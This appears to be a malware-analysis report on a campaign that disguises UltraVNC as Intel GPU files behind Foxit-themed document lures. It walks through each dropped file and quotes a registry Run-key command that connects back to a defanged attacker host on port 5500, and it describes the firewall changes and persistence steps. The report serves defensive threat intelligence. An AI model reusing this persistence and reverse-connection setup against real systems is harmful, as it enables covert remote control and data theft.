Fake Document, Real Access: Foxit Impersonation Enables Stealth VNC Control

The attacker disguises a popular remote-access tool, UltraVNC, as GPU and driver-related files so that even a moderate technical user might overlook them. After installation the UltraVNC, the following files are inside the folder C:\intel-GPU\. Each of these components serve a specific purpose in piecing together a concealed remote-access setup. 

• gpu.txt
  A Windows batch script that first enumerates Windows network profile registry entries, building GUID-based environment variables in the process. It then adds one or more firewall exceptions to allow c:\intel -GPU \gpu.exe to communicate through the system firewall. Finally, it attempts to execute c:\intel -GPU \gpu.exe with parameters that enable automatic reconnection and initiate a connection to hallonews.servemp3(dot)com:5500. 
• IDD.txt 
  Stores a locally generated identifier unique for the infected system. This ID is later passed as a parameter when the VNC client connects outbound to the attacker’s infrastructure.  
• SilentRun.vbs
  Executes gpu.cmd via WScript 
• UltraVNC.ini 
  contains preconfigured VNC server settings, includes password, ports, and allowed connections
• gpu.cmd
  Windows batch script that generates a numeric ID and writes it to IDD.txt, then opens Passport.jpg as a decoy. It establishes persistence by creating an autorun entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Run and writes the following command in there: 
  EbiClient - C:\intel-GPU\gpu.exe -multi -autoreconnect ID:%numc% -connect hallonews.servemp3(dot)com:5500
  
  The script then executes additional commands from c:\intel-gpu\gpu.txt by piping its contents into cmd, and repeatedly force-terminates rundll32.exe. Overall, this functions as a persistence and launcher script that enables a remote client while continuing execution of secondary instructions. 
• gpu.exe 
  the core component of the VNC client. This executable is responsible for eventualy transforming the system into a remotely controllable host, enabling the attacker to establish and maintain remote access without drawing attention. 

Once active, the attacker gains full remote-access capabilities, able to view the victim’s desktop, control keyboard and mouse input, exfiltrate files, execute additional payloads, establish persistence, and monitor activity in real time, all without the user’s knowledge. 

Telemetry from VirusTotal shows submissions and detections associated with the sample from Germany, the United States, the United Kingdom, and Ukraine. This suggests the campaign is broadly distributed rather than geographically isolated. 

Campaigns abusing trusted software brands continue to surface across regions and industries, particularly where users frequently interact with common productivity tools such as PDF readers. The effectiveness of this approach lies not in technical sophistication, but in familiarity. Users trust what they recognize. '
In this case, that trust is further reinforced through document-themed lures. By presenting executables as files that appear to be documents, the attacker shifts user expectation from installing software to simply opening a file. This small change reduces suspicion and increases the likelihood of execution. 

The combination of brand impersonation and document-style bait highlights a recurring pattern in modern threats. Success depends less on exploiting software vulnerabilities and more on aligning with user behavior and expectations.